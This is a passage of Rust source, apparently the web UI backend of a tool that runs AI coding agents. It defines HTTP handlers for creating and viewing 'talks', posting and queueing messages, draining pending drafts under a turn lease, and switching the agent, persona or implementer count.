7015 Self::with_config(talk, thinking, cfg.as_ref(), home)
7016 }
7017
7018 fn with_config(mut talk: Talk, thinking: bool, cfg: Option<&Config>, home: &FsPath) -> Self {
7021 let snapshot = talk.clone();
7023 for (index, turn) in talk.turns.iter_mut().enumerate() {
7024 let original = &snapshot.turns[index];
7025 if turn.messages.is_empty() {
7026 if let Some(display) = talk::notice_display(&snapshot, original, None) {
7027 turn.messages.push(talk::Message {
7028 sender: Some(talk::Sender::Magi),
7029 body: original.body.clone(),
7030 display: Some(display),
7031 attachments: original.attachments.clone(),
7032 reply: None,
7033 });
7034 }
7035 } else {
7036 for (i, message) in turn.messages.iter_mut().enumerate() {
7037 message.display =
7038 talk::notice_display(&snapshot, original, original.messages.get(i));
7039 if message.display.is_some() {
7040 message.sender = Some(talk::Sender::Magi);
7041 }
7042 }
7043 }
7044 }
7045 for message in &mut talk.pending_messages {
7046 if message.display.is_none()
7047 && (message.sender == Some(talk::Sender::Magi)
7048 || snapshot
7049 .completion_notices
7050 .iter()
7051 .any(|r| r.notice == message.body))
7052 {
7053 message.display = crate::prompt::legacy_notice_display(&message.body);
7054 if message.display.is_some() {
7055 message.sender = Some(talk::Sender::Magi);
7056 }
7057 }
7058 }
7059 if talk.pending_messages.is_empty()
7060 && snapshot
7061 .completion_notices
7062 .iter()
7063 .any(|r| r.notice == talk.pending)
7064 && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
7065 {
7066 talk.pending_messages.push(talk::Message {
7067 sender: Some(talk::Sender::Magi),
7068 display: Some(display),
7069 body: talk.pending.clone(),
7070 attachments: talk.pending_attachments.clone(),
7071 reply: None,
7072 });
7073 }
7074 let excerpts: Vec<Vec<Option<String>>> = talk
7075 .turns
7076 .iter()
7077 .map(|turn| {
7078 turn.messages
7079 .iter()
7080 .map(|m| {
7081 m.display
7082 .as_ref()
7083 .map(|d| d.facts.chars().take(240).collect())
7084 })
7085 .collect()
7086 })
7087 .collect();
7088 for turn in &mut talk.turns {
7089 let provenance = talk::sender(turn, None);
7090 turn.sender = Some(provenance);
7091 for message in &mut turn.messages {
7092 message.sender = Some(message.sender.unwrap_or(provenance));
7093 }
7094 }
7095 let senders: Vec<Vec<talk::Sender>> = talk
7097 .turns
7098 .iter()
7099 .map(|turn| {
7100 if turn.messages.is_empty() {
7101 vec![talk::sender(turn, None)]
7102 } else {
7103 turn.messages
7104 .iter()
7105 .map(|m| talk::sender(turn, Some(m)))
7106 .collect()
7107 }
7108 })
7109 .collect();
7110 for reply in talk
7111 .turns
7112 .iter_mut()
7113 .flat_map(|t| t.messages.iter_mut())
7114 .chain(talk.pending_messages.iter_mut())
7115 .filter_map(|m| m.reply.as_mut())
7116 {
7117 if let Some(Some(excerpt)) = excerpts
7118 .get(reply.target.turn)
7119 .and_then(|ms| ms.get(reply.target.message))
7120 {
7121 reply.excerpt = excerpt.clone();
7122 reply.sender = Some(talk::Sender::Magi);
7123 }
7124 if reply.sender.is_none() {
7125 reply.sender = senders
7126 .get(reply.target.turn)
7127 .and_then(|messages| messages.get(reply.target.message))
7128 .copied();
7129 }
7130 }
7131 let context = talk::context_usage(&talk, cfg);
7132 let turn_bodies_md = talk
7133 .turns
7134 .iter()
7135 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
7136 .collect();
7137 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
7138 let persona_name = persona::find(specs, &talk.persona)
7139 .filter(|p| !p.is_default())
7140 .map(|p| p.name);
7141 let persona_avatar = avatar_url(
7142 &talk.id,
7143 &persona::find(specs, &talk.persona)
7144 .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default")),
7145 );
7146 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
7147 Self {
7148 turn_bodies_md,
7149 thinking,
7150 context,
7151 operator_name,
7152 persona_name,
7153 persona_avatar,
7154 magi_avatar: magi_icon_url(home),
7155 operator_avatar: format!(
7156 "/avatars/operator.svg?v={}",
7157 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
7158 ),
7159 talk,
7160 }
7161 }
7162}
7163
7164#[derive(Debug, Serialize)]
7169struct TalkDetailView {
7170 #[serde(flatten)]
7171 view: TalkView,
7172 tasks: Vec<TaskView>,
7173 roster: Vec<RosterEntry>,
7176 personas: Vec<PersonaEntry>,
7179}
7180
7181#[derive(Debug, Serialize)]
7183struct PersonaEntry {
7184 id: String,
7185 name: String,
7186 avatar: String,
7188}
7189
7190#[derive(Debug, Serialize)]
7192struct RosterEntry {
7193 id: String,
7194 kind: AgentKind,
7195 runnable: bool,
7197}
7198
7199async fn talks_list(
7204 State(ui): State<Arc<Ui>>,
7205 Query(q): Query<ListQuery>,
7206) -> ApiResult<Json<Vec<TalkView>>> {
7207 blocking(move || {
7208 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
7209 Ok(Json(
7210 ui.talks
7211 .list()
7212 .into_iter()
7213 .filter(|talk| q.contains(&talk.id))
7214 .map(|talk| {
7215 let thinking = ui.is_thinking(&talk.id);
7216 let cfg = configs
7217 .entry(talk.repo.clone())
7218 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
7219 TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home)
7220 })
7221 .collect(),
7222 ))
7223 })
7224 .await
7225}
7226
7227#[derive(Debug, Default, Deserialize)]
7232#[serde(default)]
7233struct NewTalk {
7234 agent: Option<String>,
7235 repo: Option<PathBuf>,
7236 preferred_agent: Option<serde_json::Value>,
7240 persona: Option<serde_json::Value>,
7241 implementers: Option<serde_json::Value>,
7242}
7243
7244async fn talk_post(
7247 State(ui): State<Arc<Ui>>,
7248 body: std::result::Result<Json<NewTalk>, JsonRejection>,
7249) -> ApiResult<impl IntoResponse> {
7250 let body = match body {
7254 Ok(Json(body)) => body,
7255 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
7256 Err(e) => return Err(ApiError::bad_request(e.body_text())),
7257 };
7258 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
7259 let cfg = config_for(&repo).await?;
7260 let view = blocking(move || {
7261 let preferred = talk::Preferred {
7262 agent: body
7263 .preferred_agent
7264 .as_ref()
7265 .and_then(|v| v.as_str())
7266 .map(str::to_owned),
7267 persona: body
7268 .persona
7269 .as_ref()
7270 .and_then(|v| v.as_str())
7271 .map(str::to_owned),
7272 implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
7273 };
7274 let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
7275 let thinking = ui.is_thinking(&talk.id);
7276 Ok(TalkView::new(talk, thinking, &ui.home))
7277 })
7278 .await?;
7279 Ok((StatusCode::CREATED, Json(view)))
7280}
7281
7282async fn talk_detail(
7284 State(ui): State<Arc<Ui>>,
7285 Path(id): Path<String>,
7286) -> ApiResult<Json<TalkDetailView>> {
7287 blocking(move || {
7288 let id = resolve_talk(&ui.talks, &id)?;
7289 let talk = ui.talks.get(&id)?;
7290 let thinking = ui.is_thinking(&talk.id);
7291 let tasks = talk::tasks_of(&ui.queue, &talk.id)
7292 .into_iter()
7293 .map(TaskView::from)
7294 .collect();
7295 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7296 let roster = cfg
7297 .as_ref()
7298 .map(|cfg| {
7299 cfg.agents
7300 .iter()
7301 .map(|a| RosterEntry {
7302 id: a.id.clone(),
7303 kind: a.kind,
7304 runnable: agent::installed(a),
7305 })
7306 .collect()
7307 })
7308 .unwrap_or_default();
7309 let specs = cfg
7310 .as_ref()
7311 .map(|cfg| cfg.talk.personas.clone())
7312 .unwrap_or_default();
7313 let personas = persona::catalog(&specs)
7314 .into_iter()
7315 .map(|p| PersonaEntry {
7316 avatar: avatar_url(&talk.id, &p),
7317 id: p.id,
7318 name: p.name,
7319 })
7320 .collect();
7321 Ok(Json(TalkDetailView {
7322 view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home),
7323 tasks,
7324 roster,
7325 personas,
7326 }))
7327 })
7328 .await
7329}
7330
7331#[derive(Debug, Default, Deserialize)]
7337#[serde(default, deny_unknown_fields)]
7338struct NewTalkTurn {
7339 reply_to: Option<talk::ReplyTarget>,
7340 text: String,
7341 attachments: Vec<String>,
7342}
7343
7344#[derive(Debug, Deserialize)]
7345#[serde(deny_unknown_fields)]
7346struct EditTalkPending {
7347 #[serde(default)]
7348 message: Option<usize>,
7349 text: String,
7350 expected_text: String,
7351 expected_attachments: Vec<String>,
7352}
7353
7354#[derive(Debug, Deserialize)]
7355#[serde(deny_unknown_fields)]
7356struct ClearTalkPending {
7357 expected_text: String,
7358 expected_attachments: Vec<String>,
7359}
7360
7361async fn talk_say(
7373 State(ui): State<Arc<Ui>>,
7374 Path(id): Path<String>,
7375 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
7376) -> ApiResult<(StatusCode, Json<TalkView>)> {
7377 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7378 if body.text.trim().is_empty() && body.attachments.is_empty() {
7379 return Err(ApiError::bad_request("say something"));
7380 }
7381
7382 let id = {
7383 let ui = Arc::clone(&ui);
7384 let asked = id.clone();
7385 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7386 };
7387 {
7391 let ui = Arc::clone(&ui);
7392 let id = id.clone();
7393 blocking(move || {
7394 let talk = ui.talks.get(&id)?;
7395 if !talk.status.open() {
7396 return Err(ApiError::conflict(format!(
7397 "talk {} is {} and takes no more turns",
7398 talk.short(),
7399 talk.status.as_str()
7400 )));
7401 }
7402 Ok(())
7403 })
7404 .await?;
7405 }
7406
7407 let attachments = {
7412 let ui = Arc::clone(&ui);
7413 let id = id.clone();
7414 let ids = body.attachments.clone();
7415 blocking(move || {
7416 ids.into_iter()
7417 .map(|att_id| {
7418 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
7419 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
7420 })
7421 })
7422 .collect::<ApiResult<Vec<talk::Attachment>>>()
7423 })
7424 .await?
7425 };
7426
7427 let start = {
7432 let ui = Arc::clone(&ui);
7433 let id = id.clone();
7434 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
7435 };
7436 let turn_guard = match start {
7437 TalkTurnStart::Claimed(turn_guard) => turn_guard,
7438 TalkTurnStart::Pending => {
7439 return Err(ApiError::conflict(
7440 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
7441 ));
7442 }
7443 TalkTurnStart::Foreign => {
7444 return Err(ApiError::conflict(
7445 "a turn is already running in another process; try again when it has finished",
7446 ));
7447 }
7448 TalkTurnStart::Busy => {
7449 let (tx, rx) = tokio::sync::oneshot::channel();
7465 tokio::spawn({
7466 let ui = Arc::clone(&ui);
7467 let id = id.clone();
7468 let said = body.text.clone();
7469 let reply_to = body.reply_to.clone();
7470 async move {
7471 let written = blocking({
7472 let ui = Arc::clone(&ui);
7473 let id = id.clone();
7474 move || {
7475 let mut talk = ui.talks.get(&id)?;
7476 #[cfg(test)]
7481 if let Some(gate) = ui
7482 .busy_queue_gate
7483 .lock()
7484 .unwrap_or_else(PoisonError::into_inner)
7485 .take()
7486 {
7487 let _ = gate.reached.send(());
7488 let _ = gate.release.recv();
7489 }
7490 if let Err(error) = talk::queue_reply(
7491 &mut talk,
7492 &ui.talks,
7493 &said,
7494 attachments,
7495 reply_to,
7496 ) {
7497 if let Ok(fresh) = ui.talks.get(&id) {
7498 if !fresh.status.open() {
7499 return Err(ApiError::conflict(format!(
7500 "talk {} is {} and takes no more turns",
7501 fresh.short(),
7502 fresh.status.as_str()
7503 )));
7504 }
7505 }
7506 return Err(
7507 if error.to_string().contains("invalid reply target") {
7508 ApiError::bad_request("invalid reply target")
7509 } else {
7510 ApiError::from(error)
7511 },
7512 );
7513 }
7514 let claim = match ui.begin_queued_talk_turn(&id)? {
7525 Some(turn_guard) => {
7526 let (cfg, _) = Config::discover(&talk.repo, None)?;
7527 Some((talk.clone(), cfg, turn_guard))
7528 }
7529 None => None,
7530 };
7531 let thinking = ui.is_thinking(&id);
7532 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7533 }
7534 })
7535 .await;
7536 let (view, reclaimed) = match written {
7537 Ok(pair) => pair,
7538 Err(e) => {
7539 let _ = tx.send(Err(e));
7544 return;
7545 }
7546 };
7547 let _ = tx.send(Ok(view));
7550 if let Some((talk, cfg, turn_guard)) = reclaimed {
7551 let talks = ui.talks.clone();
7552 drain_loop(talk, talks, cfg, id, turn_guard).await;
7553 }
7554 }
7555 });
7556 let view = rx
7557 .await
7558 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7559 return Ok((StatusCode::ACCEPTED, Json(view)));
7560 }
7561 };
7562
7563 let (talk, cfg) = {
7564 let ui = Arc::clone(&ui);
7565 let id = id.clone();
7566 blocking(move || {
7567 let talk = ui.talks.get(&id)?;
7568 let (cfg, _) = Config::discover(&talk.repo, None)?;
7569 Ok((talk, cfg))
7570 })
7571 .await?
7572 };
7573
7574 let talks = ui.talks.clone();
7575 let (tx, rx) = tokio::sync::oneshot::channel();
7590 tokio::spawn({
7591 let ui = Arc::clone(&ui);
7592 let talks = talks.clone();
7593 let id = id.clone();
7594 let said = body.text.clone();
7595 let reply_to = body.reply_to.clone();
7596 let mut talk = talk.clone();
7597 async move {
7598 let recorded = blocking({
7599 let talks = talks.clone();
7600 move || {
7601 if let Err(error) =
7602 talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
7603 {
7604 if let Ok(fresh) = talks.get(&talk.id) {
7605 if !fresh.status.open() {
7606 return Err(ApiError::conflict(format!(
7607 "talk {} is {} and takes no more turns",
7608 fresh.short(),
7609 fresh.status.as_str()
7610 )));
7611 }
7612 }
7613 return Err(if error.to_string().contains("invalid reply target") {
7614 ApiError::bad_request("invalid reply target")
7615 } else {
7616 ApiError::from(error)
7617 });
7618 }
7619 Ok((said.trim().to_owned(), talk))
7625 }
7626 })
7627 .await;
7628 let (text, mut talk) = match recorded {
7629 Ok(pair) => pair,
7630 Err(e) => {
7631 let _ = tx.send(Err(e));
7635 return;
7636 }
7637 };
7638 let queued = talk.clone();
7639 let thinking = ui.is_thinking(&id);
7640 let _ = tx.send(Ok((queued, thinking)));
7643
7644 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
7645 tracing::warn!("talk {id} turn failed: {e:#}");
7649 }
7650 drain_loop(talk, talks, cfg, id, turn_guard).await;
7653 }
7654 });
7655
7656 let (queued, thinking) = rx
7657 .await
7658 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
7659
7660 Ok((
7662 StatusCode::ACCEPTED,
7663 Json(TalkView::new(queued, thinking, &ui.home)),
7664 ))
7665}
7666
7667async fn talk_pending_resume(
7671 State(ui): State<Arc<Ui>>,
7672 Path(id): Path<String>,
7673) -> ApiResult<(StatusCode, Json<TalkView>)> {
7674 let id = {
7675 let ui = Arc::clone(&ui);
7676 let asked = id.clone();
7677 blocking(move || resolve_talk(&ui.talks, &asked)).await?
7678 };
7679 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7680 return Err(ApiError::conflict(
7681 "a talk turn is already running; the queued draft will be handled by it",
7682 ));
7683 };
7684 let (talk, cfg) = {
7685 let ui = Arc::clone(&ui);
7686 let id = id.clone();
7687 blocking(move || {
7688 let talk = ui.talks.get(&id)?;
7689 if !talk.status.open() {
7690 return Err(ApiError::conflict(format!(
7691 "talk {} is {} and takes no more turns",
7692 talk.short(),
7693 talk.status.as_str()
7694 )));
7695 }
7696 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7697 return Err(ApiError::conflict("there is no queued draft to resume"));
7698 }
7699 let (cfg, _) = Config::discover(&talk.repo, None)?;
7700 Ok((talk, cfg))
7701 })
7702 .await?
7703 };
7704 let view = TalkView::new(talk.clone(), true, &ui.home);
7705 let talks = ui.talks.clone();
7706 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7707 Ok((StatusCode::ACCEPTED, Json(view)))
7708}
7709
7710async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
7726 drain_loop_started(talk, talks, cfg, id, turn, None).await;
7727}
7728
7729async fn settle_settings_turn(
7733 talk: Talk,
7734 talks: Talks,
7735 cfg: Config,
7736 id: String,
7737 turn: TalkTurnGuard,
7738 observed: u64,
7739) -> bool {
7740 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
7741 let turns = Arc::clone(&turn.turns);
7742 let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
7743 if live.queued.get(&id).copied().unwrap_or(0) == observed {
7744 turn.release(&mut live);
7746 return false;
7747 }
7748 }
7749 let (started, settled) = tokio::sync::oneshot::channel();
7750 tokio::spawn(drain_loop_started(
7751 talk,
7752 talks,
7753 cfg,
7754 id,
7755 turn,
7756 Some(started),
7757 ));
7758 settled.await.unwrap_or(false)
7759}
7760
7761async fn drain_loop_started(
7762 mut talk: Talk,
7763 talks: Talks,
7764 cfg: Config,
7765 id: String,
7766 turn: TalkTurnGuard,
7767 mut started: Option<tokio::sync::oneshot::Sender<bool>>,
7768) {
7769 let live_set = Arc::clone(&turn.turns);
7770 let mut turn = Some(turn);
7778 loop {
7779 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
7780 tracing::warn!("talk {id} lost its turn lease; not draining further");
7783 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7784 if let Some(turn) = turn.take() {
7785 turn.release(&mut live);
7786 }
7787 break;
7788 }
7789 {
7790 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7793 if live.parking {
7794 if let Some(turn) = turn.take() {
7795 turn.release(&mut live);
7796 }
7797 break;
7798 }
7799 }
7800 let observed = live_set
7804 .lock()
7805 .unwrap_or_else(PoisonError::into_inner)
7806 .queued
7807 .get(&id)
7808 .copied()
7809 .unwrap_or(0);
7810 let drained = blocking({
7811 let talks = talks.clone();
7812 let live_set = Arc::clone(&live_set);
7813 move || {
7814 let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7819 let result = if live.parking {
7820 Ok(None)
7821 } else {
7822 talk::drain(&mut talk, &talks)
7823 };
7824 drop(live);
7825 Ok((talk, result))
7826 }
7827 })
7828 .await;
7829 let (next_talk, result) = match drained {
7830 Ok(drained) => drained,
7831 Err(e) => {
7832 tracing::warn!(
7833 status = %e.status,
7834 message = %e.message,
7835 "talk {id} could not start queued-text drain"
7836 );
7837 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7838 turn.take()
7839 .expect("held for the whole loop until released here")
7840 .release(&mut live);
7841 break;
7842 }
7843 };
7844 talk = next_talk;
7845 let drained = match result {
7846 Ok(Some(drained)) => drained,
7847 Ok(None) => {
7848 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7849 if live.queued.get(&id).copied().unwrap_or(0) != observed {
7850 continue;
7851 }
7852 turn.take()
7853 .expect("held for the whole loop until released here")
7854 .release(&mut live);
7855 break;
7856 }
7857 Err(e) => {
7858 tracing::warn!("talk {id} could not drain queued text: {e:#}");
7859 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
7860 turn.take()
7861 .expect("held for the whole loop until released here")
7862 .release(&mut live);
7863 break;
7864 }
7865 };
7866 if let Some(started) = started.take() {
7867 let _ = started.send(true);
7868 }
7869 let responded = match turn.as_ref() {
7870 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
7871 None => Err(anyhow::anyhow!("the turn guard was released")),
7872 };
7873 if let Err(e) = responded {
7874 tracing::warn!("talk {id} turn failed: {e:#}");
7875 }
7876 }
7877 drop(turn);
7878 if let Some(started) = started {
7879 let _ = started.send(false);
7880 }
7881}
7882
7883async fn talk_pending_clear(
7885 State(ui): State<Arc<Ui>>,
7886 Path(id): Path<String>,
7887 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
7888) -> ApiResult<Json<TalkView>> {
7889 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7890 blocking(move || {
7891 let id = resolve_talk(&ui.talks, &id)?;
7892 let mut talk = ui.talks.get(&id)?;
7893 if !talk.status.open() {
7894 return Err(ApiError::conflict(format!(
7895 "talk {} is {} and takes no more turns",
7896 talk.short(),
7897 talk.status.as_str()
7898 )));
7899 }
7900 if !talk::clear_pending_if_matches(
7901 &mut talk,
7902 &ui.talks,
7903 &body.expected_text,
7904 &body.expected_attachments,
7905 )? {
7906 return Err(ApiError::conflict(
7907 "queued message changed; reload it before clearing",
7908 ));
7909 }
7910 let thinking = ui.is_thinking(&talk.id);
7911 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
7912 })
7913 .await
7914}
7915
7916async fn talk_pending_edit(
7920 State(ui): State<Arc<Ui>>,
7921 Path(id): Path<String>,
7922 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
7923) -> ApiResult<Json<TalkView>> {
7924 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7925 let (view, reclaimed) = blocking({
7926 let ui = Arc::clone(&ui);
7927 move || {
7928 let id = resolve_talk(&ui.talks, &id)?;
7929 let mut talk = ui.talks.get(&id)?;
7930 if !talk.status.open() {
7931 return Err(ApiError::conflict(format!(
7932 "talk {} is {} and takes no more turns",
7933 talk.short(),
7934 talk.status.as_str()
7935 )));
7936 }
7937 if !talk::edit_pending_message(
7938 &mut talk,
7939 &ui.talks,
7940 &body.text,
7941 &body.expected_text,
7942 &body.expected_attachments,
7943 body.message,
7944 )? {
7945 return Err(ApiError::conflict(
7946 "queued message changed; reload it before editing",
7947 ));
7948 }
7949 let claim = match ui.begin_queued_talk_turn(&id)? {
7950 Some(turn_guard) => {
7951 let (cfg, _) = Config::discover(&talk.repo, None)?;
7952 Some((talk.clone(), cfg, id.clone(), turn_guard))
7953 }
7954 None => None,
7955 };
7956 let thinking = ui.is_thinking(&id);
7957 Ok((TalkView::new(talk, thinking, &ui.home), claim))
7958 }
7959 })
7960 .await?;
7961 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
7962 let talks = ui.talks.clone();
7963 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
7964 }
7965 Ok(Json(view))
7966}
7967
7968fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
7970 if talk.status.open() {
7971 return Ok(());
7972 }
7973 Err(ApiError::conflict(format!(
7974 "talk {} is {} and takes no more turns",
7975 talk.short(),
7976 talk.status.as_str()
7977 )))
7978}
7979
7980#[derive(Debug, Deserialize)]
7982struct TalkAgent {
7983 agent: String,
7984}
7985
7986async fn talk_agent(
7991 State(ui): State<Arc<Ui>>,
7992 Path(id): Path<String>,
7993 Json(body): Json<TalkAgent>,
7994) -> ApiResult<Json<TalkView>> {
7995 let id = {
7996 let ui = Arc::clone(&ui);
7997 blocking(move || resolve_talk(&ui.talks, &id)).await?
7998 };
7999 let repo = {
8000 let ui = Arc::clone(&ui);
8001 let id = id.clone();
8002 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8003 };
8004 let cfg = config_for(&repo).await?;
8005 {
8007 let ui = Arc::clone(&ui);
8008 let id = id.clone();
8009 let cfg = cfg.clone();
8010 let wanted = body.agent.clone();
8011 blocking(move || {
8012 agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
8013 .map_err(ApiError::bad_request_from)?;
8014 refuse_if_closed(&ui.talks.get(&id)?)
8015 })
8016 .await?;
8017 }
8018 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8019 return Err(ApiError::conflict(
8020 "a talk turn is running; change the agent once it has answered",
8021 ));
8022 };
8023 let switched = {
8024 let ui = Arc::clone(&ui);
8025 let id = id.clone();
8026 let cfg = cfg.clone();
8027 blocking(move || {
8028 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
8029 .map_err(ApiError::bad_request_from)?;
8030 let mut talk = ui.talks.get(&id)?;
8031 if !talk.status.open() {
8032 return Err(ApiError::conflict(format!(
8033 "talk {} is {} and takes no more turns",
8034 talk.short(),
8035 talk.status.as_str()
8036 )));
8037 }
8038 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
8039 Ok(talk)
8040 })
8041 .await
8042 };
8043 let observed = ui.queued_generation(&id);
8048 let fresh = {
8049 let ui = Arc::clone(&ui);
8050 let id = id.clone();
8051 blocking(move || Ok(ui.talks.get(&id)?)).await
8052 };
8053 let draining = match fresh {
8054 Ok(talk) => {
8055 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8056 }
8057 Err(_) => false,
8058 };
8059 let talk = switched?;
8060 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8061}
8062
8063#[derive(Debug, Deserialize)]
8065struct TalkPersona {
8066 persona: String,
8067}
8068
8069async fn talk_persona(
8073 State(ui): State<Arc<Ui>>,
8074 Path(id): Path<String>,
8075 Json(body): Json<TalkPersona>,
8076) -> ApiResult<Json<TalkView>> {
8077 let id = {
8078 let ui = Arc::clone(&ui);
8079 blocking(move || resolve_talk(&ui.talks, &id)).await?
8080 };
8081 let repo = {
8082 let ui = Arc::clone(&ui);
8083 let id = id.clone();
8084 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8085 };
8086 let cfg = config_for(&repo).await?;
8087 {
8089 let ui = Arc::clone(&ui);
8090 let id = id.clone();
8091 let cfg = cfg.clone();
8092 let wanted = body.persona.clone();
8093 blocking(move || {
8094 if persona::find(&cfg.talk.personas, &wanted).is_none() {
8095 return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
8096 }
8097 refuse_if_closed(&ui.talks.get(&id)?)
8098 })
8099 .await?;
8100 }
8101 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8102 return Err(ApiError::conflict(
8103 "a talk turn is running; change the persona once it has answered",
8104 ));
8105 };
8106 let switched = {
8107 let ui = Arc::clone(&ui);
8108 let id = id.clone();
8109 let cfg = cfg.clone();
8110 blocking(move || {
8111 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
8112 return Err(ApiError::bad_request(format!(
8113 "unknown persona `{}`",
8114 body.persona
8115 )));
8116 };
8117 let mut talk = ui.talks.get(&id)?;
8118 if !talk.status.open() {
8119 return Err(ApiError::conflict(format!(
8120 "talk {} is {} and takes no more turns",
8121 talk.short(),
8122 talk.status.as_str()
8123 )));
8124 }
8125 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
8126 Ok(talk)
8127 })
8128 .await
8129 };
8130 let observed = ui.queued_generation(&id);
8132 let fresh = {
8133 let ui = Arc::clone(&ui);
8134 let id = id.clone();
8135 blocking(move || Ok(ui.talks.get(&id)?)).await
8136 };
8137 let draining = match fresh {
8138 Ok(talk) => {
8139 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8140 }
8141 Err(_) => false,
8142 };
8143 let talk = switched?;
8144 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8145}
8146
8147#[derive(Debug, Deserialize)]
8149struct TalkImplementers {
8150 implementers: u8,
8151}
8152
8153async fn talk_implementers(
8157 State(ui): State<Arc<Ui>>,
8158 Path(id): Path<String>,
8159 Json(body): Json<TalkImplementers>,
8160) -> ApiResult<Json<TalkView>> {
8161 let id = {
8162 let ui = Arc::clone(&ui);
8163 blocking(move || resolve_talk(&ui.talks, &id)).await?
8164 };
8165 let repo = {
8166 let ui = Arc::clone(&ui);
8167 let id = id.clone();
8168 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
8169 };
8170 let cfg = config_for(&repo).await?;
8171 {
8176 let ui = Arc::clone(&ui);
8177 let id = id.clone();
8178 let cfg = cfg.clone();
8179 let wanted = body.implementers;
8180 blocking(move || {
8181 talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
8182 refuse_if_closed(&ui.talks.get(&id)?)
8183 })
8184 .await?;
8185 }
8186 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
8187 return Err(ApiError::conflict(
8188 "a talk turn is running; change the implementers once it has answered",
8189 ));
8190 };
8191 let switched = {
8192 let ui = Arc::clone(&ui);
8193 let id = id.clone();
8194 let cfg = cfg.clone();
8195 blocking(move || {
8196 let chosen =
8197 talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8198 let mut talk = ui.talks.get(&id)?;
8199 if !talk.status.open() {
8200 return Err(ApiError::conflict(format!(
8201 "talk {} is {} and takes no more turns",
8202 talk.short(),
8203 talk.status.as_str()
8204 )));
8205 }
8206 talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8207 Ok(talk)
8208 })
8209 .await
8210 };
8211 let observed = ui.queued_generation(&id);
8213 let fresh = {
8214 let ui = Arc::clone(&ui);
8215 let id = id.clone();
8216 blocking(move || Ok(ui.talks.get(&id)?)).await
8217 };
8218 let draining = match fresh {
8219 Ok(talk) => {
8220 settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8221 }
8222 Err(_) => false,
8223 };
8224 let talk = switched?;
8225 Ok(Json(TalkView::new(talk, draining, &ui.home)))
8226}
8227
8228async fn talk_close(
8230 State(ui): State<Arc<Ui>>,
8231 Path(id): Path<String>,
8232) -> ApiResult<Json<TalkView>> {
8233 blocking(move || {
8234 let id = resolve_talk(&ui.talks, &id)?;
8235 let mut talk = ui.talks.get(&id)?;
8236 talk::close(&mut talk, &ui.talks)?;
8237 let thinking = ui.is_thinking(&talk.id);
8238 Ok(Json(TalkView::new(talk, thinking, &ui.home)))
8239 })
8240 .await
8241}
8242
8243async fn talk_reopen(
8245 State(ui): State<Arc<Ui>>,
8246 Path(id): Path<String>,
8247) -> ApiResult<Json<TalkView>> {
8248 blocking(move || {
